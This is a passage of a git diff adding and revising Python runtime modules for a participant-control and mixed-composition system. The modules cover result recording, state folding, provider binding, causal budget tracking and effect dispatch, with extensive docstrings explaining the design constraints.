"succeeded", "failed", "indeterminate"] + + +def record_mixed_action_result( + control_plane: object, + snapshot: RuntimeSnapshot, + crossing: PreparedParticipantCrossing, + *, + success: bool, + capture: MixedEdgeExecutionCapture | None = None, +) -> RuntimeSnapshot: + """Append the backend outcome without allowing it to rewrite the decision.""" + + binding = getattr(control_plane, "_mixed_runtime", None) + if binding is None: + return snapshot + state = runtime_state(binding, snapshot) + attempt = snapshot.mixed_composition_history[state.run_id][-1] + common = _runtime_event_fields( + state, + allocation_id=attempt.get("allocation_id"), + component_id=attempt.get("component_id"), + edge_id=attempt.get("edge_id"), + control_event_ref=attempt.get("control_event_ref"), + crossing_event_ref=attempt.get("crossing_event_ref"), + policy_decision_ref=attempt.get("policy_decision_ref"), + mapping_ref=attempt.get("mapping_ref"), + order_ref=str(attempt["order_ref"]), + mapping_loss_refs=[], + evidence_refs=list(attempt.get("evidence_refs", [])), + ) + operation_id = crossing.record.receipt.operation_id + report = capture.bridge if capture is not None else None + rejected_result = capture is not None and capture.method_completed and not success + disposition = _result_disposition(capture, report, success, rejected_result) + _augment_result_evidence(common, capture, report, rejected_result) + events = [_result_event(operation_id, "result", disposition, state.history_head, common)] + _append_confirmed_stages(events, operation_id, common, capture, report, rejected_result) + if disposition == "failed": + events.append(_result_event(operation_id, "failure", "failed", events[-1].event_id, common)) + return append_runtime_events(binding, snapshot, state, events) + + +def _result_disposition( + capture: MixedEdgeExecutionCapture | None, + report: MixedBridgeExecutionEvidence | None, + success: bool, + rejected_result: bool, +) -> _Disposition: + if _unconfirmed_execution(capture, report, rejected_result): + disposition: _Disposition = "indeterminate" + elif report is not None and report.execution_status == "succeeded": + disposition = "succeeded" + else: + disposition = "succeeded" if success else "failed" + return disposition + + +def _unconfirmed_execution( + capture: MixedEdgeExecutionCapture | None, + report: MixedBridgeExecutionEvidence | None, + rejected_result: bool, +) -> bool: + if report is None: + unconfirmed = capture is not None and capture.provider_started + elif report.execution_status in {"partial", "unknown"}: + unconfirmed = True + elif report.execution_status == "succeeded": + unconfirmed = rejected_result or _unconfirmed_stages(capture) + else: + unconfirmed = False + return unconfirmed + + +def _unconfirmed_stages(capture: MixedEdgeExecutionCapture | None) -> bool: + return capture is not None and (capture.stage_readback_failed or not capture.time_confirmed) + + +def _augment_result_evidence( + common: dict[str, object], + capture: MixedEdgeExecutionCapture | None, + report: MixedBridgeExecutionEvidence | None, + rejected_result: bool, +) -> None: + if capture is None: + return + if report is not None and not rejected_result and capture.time_confirmed: + common["mapping_loss_refs"] = list(report.mapping_loss_refs) + if capture.time is not None and not rejected_result: + _append_time_evidence(common, capture, report) + if report is not None and report.execution_status == "failed" and capture.method_completed: + common["evidence_refs"] = list(dict.fromkeys([*common["evidence_refs"], *report.cessation_evidence_refs])) + + +def _append_time_evidence( + common: dict[str, object], + capture: MixedEdgeExecutionCapture, + report: MixedBridgeExecutionEvidence | None, +) -> None: + assert capture.time is not None + if capture.time_confirmed: + common["order_ref"] = capture.time.order_ref + common["evidence_refs"] = list( + dict.fromkeys( + [ + *common["evidence_refs"], + *capture.time.mapping_evidence_refs, + *capture.time.timing_evidence_refs, + *(report.execution_evidence_refs if report is not None else ()), + ] + ) + ) + + +def _result_event( + operation_id: str, + kind: _EventKind, + disposition: _Disposition, + predecessor: str, + common: dict[str, object], +) -> MixedCompositionRuntimeEventModel: + return MixedCompositionRuntimeEventModel( + event_id=f"composition:{operation_id}:{kind}", + event_kind=kind, + disposition=disposition, + predecessor_event_id=predecessor, + **common, + ) + + +def _append_confirmed_stages( + events: list[MixedCompositionRuntimeEventModel], + operation_id: str, + common: dict[str, object], + capture: MixedEdgeExecutionCapture | None, + report: MixedBridgeExecutionEvidence | None, + rejected_result: bool, +) -> None: + if rejected_result or report is None or capture is None: + return + if capture.delivery_confirmed: + common["evidence_refs"] = list(report.delivery_evidence_refs) + events.append(_result_event(operation_id, "delivery", "succeeded", events[-1].event_id, common)) + if capture.observation_confirmed: + common["evidence_refs"] = list(report.observation_evidence_refs) + events.append(_result_event(operation_id, "observation", "committed", events[-1].event_id, common)) + if capture.time_confirmed and report.mapping_loss_refs: + common["evidence_refs"] = list(capture.time.mapping_evidence_refs) if capture.time is not None else [] + events.append(_result_event(operation_id, "weakening", "committed", events[-1].event_id, common)) + + +def mixed_action_terminal_state( + dispatch: PreparedMixedActionDispatch | None, + result: ApplyResult, +) -> OperationState: + """Settle one mixed action from its correlated stages, not a success flag.""" + + if dispatch is None or dispatch.capture is None: + state = OperationState.SUCCEEDED if result.success else OperationState.FAILED + else: + state = _captured_action_terminal_state(dispatch.capture, result) + return state + + +def _captured_action_terminal_state(capture: MixedEdgeExecutionCapture, result: ApplyResult) -> OperationState: + report = capture.bridge + if report is None: + state = OperationState.INDETERMINATE if capture.provider_started else OperationState.FAILED + elif report.execution_status in {"partial", "unknown"}: + state = OperationState.INDETERMINATE + elif report.execution_status == "failed": + state = OperationState.FAILED + else: + confirmed = all( + (result.success, capture.time_confirmed, not capture.stage_readback_failed, capture.delivery_confirmed) + ) + state = OperationState.SUCCEEDED if confirmed else OperationState.INDETERMINATE + return state + + +__all__ = ("mixed_action_terminal_state", "record_mixed_action_result") diff --git a/implementations/python/packages/raes_runtime/mixed_runtime_state.py b/implementations/python/packages/raes_runtime/mixed_runtime_state.py new file mode 100644 index 000000000..01c20aceb --- /dev/null +++ b/implementations/python/packages/raes_runtime/mixed_runtime_state.py @@ -0,0 +1,77 @@ +"""Validated state-fold helpers shared by mixed-runtime operations.""" + +from __future__ import annotations + +from typing import TYPE_CHECKING + +from raes_contracts.contracts.mixed_runtime import ( + MixedCompositionRuntimeEventModel, + MixedCompositionRuntimeStateModel, +) +from raes_contracts.runtime_state import RuntimeSnapshot + +if TYPE_CHECKING: + from .mixed_runtime import MixedRuntimeBinding + + +def runtime_state( + binding: MixedRuntimeBinding, + snapshot: RuntimeSnapshot, +) -> MixedCompositionRuntimeStateModel: + payload = snapshot.mixed_composition_states.get(binding.entry.run_id) + if payload is None: + raise ValueError("mixed composition must be activated before dispatch") + state = MixedCompositionRuntimeStateModel.model_validate(payload) + if ( + state.plan_id != binding.plan.plan_id + or state.plan_entry_id != binding.entry.plan_entry_id + or state.profile_id != binding.profile.profile_id + or state.profile_digest != binding.profile.profile_digest + ): + raise ValueError("mixed composition runtime state differs from the admitted binding") + phase = binding.profile.phases.get(state.phase_id) + if phase is None or ( + state.active_component_ids != phase.active_component_ids + or state.active_allocation_ids != phase.active_allocation_ids + or state.active_edge_ids != phase.active_edge_ids + ): + raise ValueError("mixed composition runtime membership differs from the admitted phase") + return state + + +def append_runtime_events( + binding: MixedRuntimeBinding, + snapshot: RuntimeSnapshot, + state: MixedCompositionRuntimeStateModel, + events: list[MixedCompositionRuntimeEventModel], +) -> RuntimeSnapshot: + history = list(snapshot.mixed_composition_history[binding.entry.run_id]) + history.extend(event.model_dump(mode="json", exclude_none=True) for event in events) + final = events[-1] + next_state = MixedCompositionRuntimeStateModel( + run_id=state.run_id, + plan_id=state.plan_id, + plan_entry_id=state.plan_entry_id, + profile_id=state.profile_id, + profile_digest=state.profile_digest, + phase_id=final.phase_id, + phase_revision=final.phase_revision, + active_component_ids=final.active_component_ids, + active_allocation_ids=final.active_allocation_ids, + active_edge_ids=final.active_edge_ids, + history_head=final.event_id, + ) + return snapshot.with_entries( + dict(snapshot.entries), + mixed_composition_states={ + **snapshot.mixed_composition_states, + binding.entry.run_id: next_state.model_dump(mode="json"), + }, + mixed_composition_history={ + **snapshot.mixed_composition_history, + binding.entry.run_id: history, + }, + ) + + +__all__ = ("append_runtime_events", "runtime_state") diff --git a/implementations/python/packages/raes_runtime/observation_execution.py b/implementations/python/packages/raes_runtime/observation_execution.py index 094457c26..6a9ddea89 100644 --- a/implementations/python/packages/raes_runtime/observation_execution.py +++ b/implementations/python/packages/raes_runtime/observation_execution.py @@ -258,12 +258,12 @@ def _execute_admitted_plan_observation( address=_OBSERVATION_ADDRESS, message="Observation runtime did not satisfy the admitted selector contract.", ) - except Exception as exc: + except Exception: return None, Diagnostic( code="observation.runtime-adapter-failed", domain="runtime", address=_OBSERVATION_ADDRESS, - message=f"Observation runtime adapter did not complete ({type(exc).__name__}).", + message="Observation runtime adapter did not complete.", ) return execution, None diff --git a/implementations/python/packages/raes_runtime/participant_action_validation.py b/implementations/python/packages/raes_runtime/participant_action_validation.py index c231f08dc..f66e67e6d 100644 --- a/implementations/python/packages/raes_runtime/participant_action_validation.py +++ b/implementations/python/packages/raes_runtime/participant_action_validation.py @@ -14,6 +14,12 @@ _TERMINAL_ACTION_STATUSES = frozenset({"succeeded", "failed", "partial_success", "rejected", "withheld"}) _PROTECTED_SCHEDULER_SNAPSHOT_FIELDS = ( + "time_model_state", + "participant_outcome_history", + "materialization_attestations", + "mixed_composition_states", + "mixed_composition_history", + "participant_control_evaluation_history", "participant_autonomous_execution_states", "participant_execution_services", ) diff --git a/implementations/python/packages/raes_runtime/participant_control.py b/implementations/python/packages/raes_runtime/participant_control.py index 3192088c8..9ccf27cce 100644 --- a/implementations/python/packages/raes_runtime/participant_control.py +++ b/implementations/python/packages/raes_runtime/participant_control.py @@ -23,6 +23,10 @@ _participant_binding_address, _participant_binding_diagnostic, ) +from .participant_control_effects import ( + ParticipantControlEffectRealization, + dispatch_participant_control_effects, +) from .participant_control_intents import ( ParticipantApprovalControlIntent, ParticipantCancellationControlIntent, @@ -40,6 +44,7 @@ ) from .participant_decision_surface_control_v2 import ParticipantDecisionSurfaceV2ControlMixin from .participant_episode_control import ParticipantEpisodeControlMixin +from .participant_outcome_control import ParticipantOutcomeControlMixin from .participant_submission_options import ParticipantSubmissionOptions, submit_bound_participant_action @@ -231,12 +236,31 @@ def _bind_participant_decision_surface( class ParticipantControlMixin( + ParticipantOutcomeControlMixin, ParticipantEpisodeControlMixin, ParticipantCrossingControlIngressMixin, ParticipantDecisionSurfaceV2ControlMixin, ): """Participant runtime methods for the shared runtime control plane.""" + @runtime_owned + def dispatch_participant_control_effects( + self, + participant_address: str, + *, + identity: object, + ) -> tuple[ParticipantControlEffectRealization, ...]: + """Dispatch the committed, unrealized API-424 effect claims for one participant. + + PC-11 keeps a subsequent effect independent of its parent: the parent + already committed its authorized intent, and each effect is admitted + here as its own operation through its incumbent owner. The call is + idempotent on the logical effect key, so a replay returns the retained + receipt instead of repeating an external action. + """ + + return dispatch_participant_control_effects(self, participant_address, identity=identity) + @runtime_owned @mutation_entry(OperationKind.PARTICIPANT_ACTION) def admit_participant_action( @@ -250,7 +274,7 @@ def admit_participant_action( crossing_evidence: ParticipantCrossingEvidence | None = None, **admission_fields: object, ) -> OperationReceipt: - if self._target.participant_runtime is None: + if self._target.participant_runtime is None and self._mixed_runtime is None: return self._reject_submission( domain=RuntimeDomain.PARTICIPANT, message=_NO_PARTICIPANT_RUNTIME_MESSAGE, @@ -304,7 +328,7 @@ def admit_participant_decision_surface_selection( options = ParticipantSubmissionOptions.from_fields(submission_options) receipt: OperationReceipt - if self._target.participant_runtime is None: + if self._target.participant_runtime is None and self._mixed_runtime is None: receipt = self._reject_submission( domain=RuntimeDomain.PARTICIPANT, message=_NO_PARTICIPANT_RUNTIME_MESSAGE, diff --git a/implementations/python/packages/raes_runtime/participant_control_binding.py b/implementations/python/packages/raes_runtime/participant_control_binding.py new file mode 100644 index 000000000..778da260b --- /dev/null +++ b/implementations/python/packages/raes_runtime/participant_control_binding.py @@ -0,0 +1,127 @@ +"""RUN-320 exact binding from an admitted selection to installed providers. + +PC-01/PC-02: the runtime receives operator- or backend-constructed provider +instances and binds them to the instance identities the admitted apparatus +selected. Nothing here discovers, imports, downloads, or names executable code, +and a present ``resolve`` method establishes neither installation, capability, +authority, nor realization — API-407 support records own that question. +""" + +from __future__ import annotations + +from collections.abc import Callable, Mapping +from dataclasses import dataclass +from types import MappingProxyType +from typing import Protocol + +from raes_backend_protocols.protocols import ParticipantControlProvider +from raes_contracts.contracts.participant_control_composition import ParticipantControlRequestModel +from raes_contracts.contracts.participant_control_coordinates import ControlArtifactReferenceModel +from raes_contracts.contracts.participant_control_resolution import ParticipantControlValidationContext +from raes_contracts.contracts.participant_control_results import ControlEffectiveSupportModel +from raes_contracts.contracts.participant_control_selection import ParticipantControlSelectionModel + +from .control_plane_mutation import external_control_plane_call + +PARTICIPANT_CONTROL_PROTOCOL_REVISION = "participant-control-provider/v1" + + +@dataclass(frozen=True) +class ParticipantControlResolution: + """Owner-resolved admitted request, support and incumbent gate for one cut.""" + + request: ParticipantControlRequestModel + support: tuple[ControlEffectiveSupportModel, ...] + incumbent_gate_disposition: str + incumbent_gate_evidence: ControlArtifactReferenceModel + + +class ParticipantControlRuntimeResolver(Protocol): + """Trusted owner resolution, declared like the incumbent policy resolver. + + ``resolve`` returns the admitted request for the live cut, or ``None`` when + modular control does not apply to it. ``validation_context`` supplies the + independently resolved owner facts API-424 checks the evaluation against; + neither may be satisfied from provider output. ``effect_operation`` returns + the incumbent owner input for one admitted effect, or ``None`` for an + effect this apparatus has no owner for — declared here, like the rest of + the protocol, rather than discovered per effect. + """ + + def resolve(self, **coordinates: object) -> ParticipantControlResolution | None: ... + + def validation_context(self, evaluation: object) -> ParticipantControlValidationContext: ... + + def effect_operation(self, request: object, context: object) -> object | None: ... + + +@dataclass(frozen=True) +class ParticipantControlRuntimeBinding: + """Immutable admitted selection joined to its exact provider instances.""" + + selection: ParticipantControlSelectionModel + providers: Mapping[str, ParticipantControlProvider] + resolver: ParticipantControlRuntimeResolver + + def __post_init__(self) -> None: + selection = ParticipantControlSelectionModel.model_validate(self.selection.model_dump(mode="python")) + _require_published_protocol(selection) + _require_exact_providers(selection, self.providers) + _require_declared_resolver(self.resolver) + object.__setattr__(self, "selection", selection) + object.__setattr__(self, "providers", MappingProxyType(dict(self.providers))) + + +def _require_published_protocol(selection: ParticipantControlSelectionModel) -> None: + if any(binding.protocol_revision != PARTICIPANT_CONTROL_PROTOCOL_REVISION for binding in selection.bindings): + raise ValueError("participant control selection names an unpublished provider protocol revision") + + +def _require_exact_providers( + selection: ParticipantControlSelectionModel, + providers: Mapping[str, ParticipantControlProvider], +) -> None: + if set(providers) != {binding.instance_id for binding in selection.bindings}: + raise ValueError("participant control providers must exactly match the admitted selection instances") + for provider in providers.values(): + if not callable(getattr(provider, "resolve", None)): + raise TypeError("participant control provider must implement the published resolve protocol") + + +def _require_declared_resolver(resolver: ParticipantControlRuntimeResolver) -> None: + declared = ("resolve", "validation_context", "effect_operation") + if not all(callable(getattr(resolver, name, None)) for name in declared): + raise TypeError("participant control resolver must implement the declared runtime protocol") + + +def fenced_validation_context( + control_plane: object, + binding: ParticipantControlRuntimeBinding, + record: object, +) -> Callable[[object], ParticipantControlValidationContext | None]: + """Resolve the trusted context under the external-call re-entry fence. + + ``validation_context`` is operator-supplied resolver code, called while the + runtime may hold the mutation authority. Invoked bare, it could re-enter a + mutating runtime API that commits even when the enclosing validation then + fails, or advance state before the caller captures its commit cut. So it + runs under the same fence as every other resolver and provider call, and + the validator receives the already-resolved value. A resolver failure is a + missing context, which the sanitizing validator reports without detail. + """ + + with external_control_plane_call(control_plane): + try: + context = binding.resolver.validation_context(record) + except Exception: + context = None + return lambda _record: context + + +__all__ = ( + "PARTICIPANT_CONTROL_PROTOCOL_REVISION", + "ParticipantControlResolution", + "ParticipantControlRuntimeBinding", + "ParticipantControlRuntimeResolver", + "fenced_validation_context", +) diff --git a/implementations/python/packages/raes_runtime/participant_control_causal_state.py b/implementations/python/packages/raes_runtime/participant_control_causal_state.py new file mode 100644 index 000000000..b83b713ce --- /dev/null +++ b/implementations/python/packages/raes_runtime/participant_control_causal_state.py @@ -0,0 +1,170 @@ +"""RUN-320 causal state folded from the committed evaluation history. + +PC-12 gives every admitted root finite depth, effect, fan-out, firing and +attempt budgets, and PC-11 keeps one logical claim per effect key. Those +budgets are durable: a single evaluation validating its own bounds proves +nothing if the next evaluation under the same root may again declare zero +consumption and no retained claims. + +This module folds the committed history for one participant and causal root +into the consumption the next admitted context must declare. The runtime +refuses a context that under-declares it, so a claim consumes budget exactly +once and a replayed key is recognised rather than re-admitted. + +Resolution attempts are folded the same way and for the same reason. An +evaluation that resolves no effect still spends an attempt; if attempts were +only bounded per request, a root could be re-resolved without limit by +declaring ``attempt=1`` on every fresh crossing. An attempt is spent by making +the evaluation, so it is counted whether or not the composition admitted +anything; a *claim*, by contrast, is only ever folded from an admitted intent. +""" + +from __future__ import annotations + +from collections.abc import Iterable, Mapping, Sequence +from dataclasses import dataclass + +from raes_contracts.contracts.participant_control_composition import ( + ParticipantControlEvaluationModel, + admitted_effect_requests, + control_digest, +) +from raes_contracts.contracts.participant_control_coordinates import ( + ControlLogicalEffectKeyModel, + ControlPriorEffectClaimModel, + ParticipantControlContextModel, +) +from raes_contracts.contracts.participant_control_effects import ControlEffectRequestModel + + +@dataclass(frozen=True) +class ParticipantControlCausalState: + """Consumption one causal root has already retained in committed history.""" + + claims: Mapping[ControlLogicalEffectKeyModel, ControlPriorEffectClaimModel] + firings: Mapping[tuple[str, str], frozenset[str]] + attempts: int = 0 + effects_consumed: int = 0 + + @property + def next_attempt(self) -> int: + """The lowest attempt an admitted context may still declare.""" + + return self.attempts + 1 + + +def causal_state_from_history( + history: Sequence[Mapping[str, object]], + *, + run_ref: str, + trigger_root: str, +) -> ParticipantControlCausalState: + """Fold every retained claim this run and causal root already consumed.""" + + claims: dict[ControlLogicalEffectKeyModel, ControlPriorEffectClaimModel] = {} + firings: dict[tuple[str, str], set[str]] = {} + attempts = 0 + consumed = 0 + for record in history: + evaluation = ParticipantControlEvaluationModel.model_validate(record) + context = evaluation.request.context + if (context.run.ref, context.trigger_root) != (run_ref, trigger_root): + continue + # API-424 lets a context's consumption exceed its retained claims, so + # the count is a watermark of its own, not the number of claims: what + # the context declared already spent, plus the keys it newly admitted. + # A maximum rather than a sum, so a replayed key and a realization + # transition — which repeats its evaluation's context — add nothing. + declared = {claim.key for claim in context.prior_effect_claims} + admitted = {effect.key for effect in _admitted_effects(evaluation)} - declared + consumed = max(consumed, context.effects_consumed + len(admitted)) + # A realization transition records the outcome of an evaluation that + # already spent its attempt; counting it again would double-charge. + if not evaluation.realizations: + attempts = max(attempts, context.attempt) + _fold_retained(context, claims, firings) + for effect in _admitted_effects(evaluation): + claims.setdefault( + effect.key, + ControlPriorEffectClaimModel( + effect_id=effect.effect_id, + key=effect.key, + content_digest=control_digest(effect), + ), + ) + firings.setdefault((effect.key.rule_id, effect.key.rule_revision), set()).add(effect.key.firing_epoch) + return ParticipantControlCausalState( + claims=claims, + firings={rule: frozenset(epochs) for rule, epochs in firings.items()}, + attempts=attempts, + effects_consumed=max(consumed, len(claims)), + ) + + +def _fold_retained( + context: ParticipantControlContextModel, + claims: dict[ControlLogicalEffectKeyModel, ControlPriorEffectClaimModel], + firings: dict[tuple[str, str], set[str]], +) -> None: + for claim in context.prior_effect_claims: + claims.setdefault(claim.key, claim) + for state in context.rule_firings: + firings.setdefault((state.rule_id, state.rule_revision), set()).update(state.firing_epochs) + + +def _admitted_effects(evaluation: ParticipantControlEvaluationModel) -> Iterable[ControlEffectRequestModel]: + """Only an admitted intent consumes budget; a rejected proposal never did. + + API-424 decides what a composition admits, so a conflicted or otherwise + blocked evaluation contributes no claim here. Otherwise contributor order + would pick which of two conflicting payloads a later context must retain, + and a proposal nobody admitted would spend the root's effect budget. + """ + + return admitted_effect_requests(evaluation) + + +def declares_retained_consumption( + context: ParticipantControlContextModel, + state: ParticipantControlCausalState, +) -> bool: + """Require the admitted context to carry everything the root already spent. + + The context may declare more than the committed history proves — a + resolver knows its own in-flight claims — but never less: under-declaring + is how a second evaluation would re-spend an exhausted budget or re-admit + an already claimed effect key. + """ + + # Every committed evaluation under this root spent an attempt, whether or + # not it resolved an effect, so the next one must declare a fresh number. + # PC-12's ``max_attempts`` then bounds the root, not a single request. + return ( + _declares_retained_claims(context, state) + and _declares_retained_firings(context, state) + and context.effects_consumed >= state.effects_consumed + and context.attempt >= state.next_attempt + ) + + +def _declares_retained_claims(context: ParticipantControlContextModel, state: ParticipantControlCausalState) -> bool: + declared = {claim.key: claim for claim in context.prior_effect_claims} + return all( + (current := declared.get(key)) is not None + and current.effect_id == retained.effect_id + and current.content_digest == retained.content_digest + for key, retained in state.claims.items() + ) + + +def _declares_retained_firings(context: ParticipantControlContextModel, state: ParticipantControlCausalState) -> bool: + declared = {(item.rule_id, item.rule_revision): set(item.firing_epochs) for item in context.rule_firings} + # A retained epoch the context leaves undeclared is an under-declaration. + return all(not (epochs - declared.get(rule, set())) for rule, epochs in state.firings.items()) + + +__all__ = ( + "ParticipantControlCausalState", + "causal_state_from_history", + "declares_retained_consumption", +) diff --git a/implementations/python/packages/raes_runtime/participant_control_cut.py b/implementations/python/packages/raes_runtime/participant_control_cut.py new file mode 100644 index 000000000..8881aece4 --- /dev/null +++ b/implementations/python/packages/raes_runtime/participant_control_cut.py @@ -0,0 +1,108 @@ +"""RUN-320 exact-cut checks on a resolved participant-control request. + +The runtime verifies only what the incumbent owners independently know: that +the admitted context names this exact live crossing — by the committed RUN-319 +record's event identity and digest — and that it carries everything its causal +root has already consumed. Composition itself stays with API-424. +""" + +from __future__ import annotations + +from pydantic import ValidationError +from raes_contracts.canonical import canonical_json_digest +from raes_contracts.contracts.participant_control_composition import ParticipantControlRequestModel +from raes_contracts.contracts.participant_crossing import ParticipantCrossingOccurrenceModel + +from .participant_control_causal_state import causal_state_from_history, declares_retained_consumption +from .participant_crossing_mediation import PreparedParticipantCrossing + + +def declares_committed_consumption(control_plane: object, request: ParticipantControlRequestModel) -> bool: + """Reconcile the admitted context with the consumption already committed.""" + + context = request.context + history = control_plane._snapshot.participant_control_evaluation_history.get(context.participant_address, ()) + state = causal_state_from_history( + history, + run_ref=context.run.ref, + trigger_root=context.trigger_root, + ) + return declares_retained_consumption(context, state) + + +def binds_live_cut( + request: ParticipantControlRequestModel, + crossing: PreparedParticipantCrossing, + sink_kind: object, + head_refs: tuple[str, ...], +) -> bool: + """Require the admitted context to name this exact live crossing cut. + + ``subject_revision`` and ``phase_ref`` are API-424 coordinates the apparatus + declares and the request validator binds to its own applicability; the + runtime checks only what the incumbent crossing owner independently knows. + """ + + context, intent = request.context, crossing.intent + decision = crossing.decision + assert decision is not None + occurrence = decision.occurrence + return ( + context.participant_address == intent.participant_address + and context.episode_id == intent.episode_id + and context.direction == intent.direction.value + and context.audience_ref == intent.audience_scope_ref + and context.controller_ref == intent.controller_ref + and context.sink_ref == getattr(sink_kind, "value", sink_kind) + and _names_live_crossing(context, crossing, decision) + and context.subject.model_dump() == occurrence.subject.model_dump() + and (context.policy.policy_id, context.policy.policy_revision, context.policy.policy_digest) + == (occurrence.policy.policy_id, occurrence.policy.policy_revision, occurrence.policy.policy_digest) + and tuple(sorted(head.ref for head in context.expected_history_heads)) == tuple(sorted(head_refs)) + ) + + +def _names_live_crossing( + context: object, + crossing: PreparedParticipantCrossing, + decision: ParticipantCrossingOccurrenceModel, +) -> bool: + """Bind the admitted crossing reference to the live decision occurrence. + + API-424 resolves ``context.crossing`` against a crossing record's + ``event_id`` and its exact wire-payload digest + (``participant_control_resolution._validate_crossing``). Naming the same + identity here is what makes the resolver-supplied record and the live + occurrence provably the same artifact rather than two that merely agree on + their coordinates. + + The digest is taken over the record as the RUN-319 history carrier holds + it, because that projection is what a resolver reading committed state can + reproduce; digesting the in-memory model instead would make the binding + satisfiable only by a resolver that shares this process. + """ + + if context.crossing.ref != decision.event_id: + return False + digest = _committed_crossing_digest(crossing, decision) + return digest is not None and context.crossing.digest == digest + + +def _committed_crossing_digest( + crossing: PreparedParticipantCrossing, + decision: ParticipantCrossingOccurrenceModel, +) -> str | None: + """Digest this decision exactly as the committed crossing history holds it.""" + + history = crossing.next_snapshot.participant_crossing_history.get(decision.participant_address, ()) + record = next((item for item in history if item.get("event_id") == decision.event_id), None) + if record is None: + return None + try: + committed = ParticipantCrossingOccurrenceModel.model_validate(record) + except ValidationError: + return None + return canonical_json_digest(committed.model_dump(mode="json", exclude_unset=True)) + + +__all__ = ("binds_live_cut", "declares_committed_consumption") diff --git a/implementations/python/packages/raes_runtime/participant_control_effects.py b/implementations/python/packages/raes_runtime/participant_control_effects.py new file mode 100644 index 000000000..d89c533f8 --- /dev/null +++ b/implementations/python/packages/raes_runtime/participant_control_effects.py @@ -0,0 +1,452 @@ +"""RUN-320 governed dispatch of admitted participant-control effects. + +PC-09/PC-11: a requested effect is neither permission nor execution. Each +admitted *subsequent* effect becomes a separately admitted operation through +the incumbent owner of its closed target kind, executed only after its parent +committed, and recorded as an append-only realization transition. A required +predecessor never reaches this path: it withholds its parent, so the parent's +composition is not eligible. + +The runtime never synthesizes an effect's content. The trusted resolver returns +the incumbent operation input the owner already accepts, and the runtime +verifies that input is the exact effect the request names. There is no +universal executor, callback registry, or backend-name branch: an owner the +resolver cannot supply is reported ``unsupported`` with zero dispatch. + +Whose effect it is, and how its outcome is known, is decided in +``participant_control_receipts``: the drain caller is authorized before any +committed state is read, each effect acts for the principal of the operation +that admitted it, and the scan, claims, owner submissions and realization +append all happen under one held mutation. +""" + +from __future__ import annotations + +from collections.abc import Mapping +from dataclasses import dataclass, field +from graphlib import TopologicalSorter + +from raes_contracts.contracts.participant_control_composition import ( + ParticipantControlEvaluationModel, + admitted_effect_phase, +) +from raes_contracts.contracts.participant_control_coordinates import ( + ControlLogicalEffectKeyModel, +) +from raes_contracts.contracts.participant_control_effects import ControlEffectRequestModel +from raes_contracts.contracts.participant_control_results import ControlRealizationBindingModel +from raes_contracts.runtime_state import OperationKind + +from .control_plane_mutation import control_plane_mutation, external_control_plane_call +from .control_plane_store import ControlPlaneOperationRecord +from .participant_control_intents import ParticipantControlIntent +from .participant_control_receipts import ( + claim_effect, + claim_outcome, + never_dispatched, + origin_principal, + originating_operations, + owner_idempotency_key, + owner_record, + realization, + require_drain_authority, +) +from .participant_control_records import commit_participant_control_realization +from .participant_crossing_mediation import ParticipantCrossingEvidence + +_APPLIED = "applied" +_WITHHELD = "withheld" +_FAILED = "failed" +_INDETERMINATE = "indeterminate" +_UNSUPPORTED = "unsupported" +# Only an owner's recorded outcome is durable. A withhold or an unsupported +# owner is an ordering or availability fact recomputed on every drain, and an +# uncertain outcome stays open on its claim for the incumbent recovery path. +_RECORDED = frozenset({_APPLIED, _FAILED}) + + +@dataclass(frozen=True) +class ParticipantControlEffectOperation: + """One incumbent operation input the owner of this effect kind accepts. + + The crossing evidence is part of that input. It names the audience the + owner's crossing is decided for, so it comes from the trusted resolver with + the rest of the owner input — never from whoever requests the drain. + """ + + kind: str + view: object | None = None + intent: ParticipantControlIntent | None = None + crossing_evidence: ParticipantCrossingEvidence | None = None + + +@dataclass(frozen=True) +class ParticipantControlEffectRealization: + """Bounded, value-independent outcome of one dispatched effect.""" + + effect_id: str + disposition: str + receipt_ref: str + + +def dispatch_participant_control_effects( + control_plane: object, + participant_address: str, + *, + identity: object, +) -> tuple[ParticipantControlEffectRealization, ...]: + """Dispatch every committed, unrealized effect claim for one participant. + + The caller is authorized before anything committed is read. It requests + execution; it never becomes the principal an effect acts for. + """ + + binding = getattr(control_plane, "_participant_control", None) + if binding is None: + raise ValueError("participant control effect dispatch requires a bound participant control configuration") + require_drain_authority(control_plane, participant_address, identity) + # One mutation: two drains can never both observe an effect as unrealized. + with control_plane_mutation(control_plane, OperationKind.PARTICIPANT_CONTROL): + control_plane._reload_derived_state() + history = control_plane._snapshot.participant_control_evaluation_history.get(participant_address, ()) + evaluations = [ParticipantControlEvaluationModel.model_validate(record) for record in history] + origins = originating_operations(control_plane, participant_address) + drain = _DrainState(realized=_realized_keys(evaluations)) + for evaluation in evaluations: + phase = admitted_effect_phase(evaluation) + if phase is None or evaluation.realizations: + # A realization transition records outcomes; it admits nothing. + continue + _dispatch_evaluation( + control_plane, + binding, + evaluation, + drain, + origin=origins.get(evaluation.evaluation_id), + phase=phase, + ) + return tuple(drain.outcomes.values()) + + +@dataclass +class _DrainState: + """One outcome and one claimant per logical effect key, for one drain. + + PC-11 allocates identity once per key, so a later evaluation that + re-requests a key reports the first outcome and can never claim it under + another origin. + """ + + realized: dict[ControlLogicalEffectKeyModel, ParticipantControlEffectRealization] + outcomes: dict[ControlLogicalEffectKeyModel, ParticipantControlEffectRealization] = field(default_factory=dict) + claimants: dict[ControlLogicalEffectKeyModel, ControlPlaneOperationRecord | None] = field(default_factory=dict) + + +def _realized_keys( + evaluations: list[ParticipantControlEvaluationModel], +) -> dict[ControlLogicalEffectKeyModel, ParticipantControlEffectRealization]: + """Index the recorded outcome of every logical key already realized. + + A realization is resolved against the request in *its own* evaluation. A + shared effect-id table across evaluations would be last-writer-wins, so a + later — possibly rejected — reuse of an effect id under a different logical + key could reassign an earlier applied receipt to that other key. + """ + + realized: dict[ControlLogicalEffectKeyModel, ParticipantControlEffectRealization] = {} + for evaluation in evaluations: + requests = { + result.payload.effect_id: result.payload + for result in evaluation.results + if isinstance(result.payload, ControlEffectRequestModel) + } + for retained in evaluation.realizations: + request = requests.get(retained.effect_id) + if request is not None and retained.disposition in _RECORDED: + realized[request.key] = ParticipantControlEffectRealization( + effect_id=retained.effect_id, + disposition=retained.disposition, + receipt_ref=retained.receipt.ref, + ) + return realized + + +def _ordered_requests( + evaluation: ParticipantControlEvaluationModel, + phase: str, +) -> list[ControlEffectRequestModel]: + """Order this phase's requests so a predecessor is always reached first. + + Record order is serialization, never execution order: PC-07 declares the + causal order through ``predecessor_effect_ids`` and the composition already + rejected a cycle, so a stable topological walk is the admitted order. + """ + + requests = { + result.payload.effect_id: result.payload + for result in evaluation.results + if isinstance(result.payload, ControlEffectRequestModel) + } + graph = {identity: 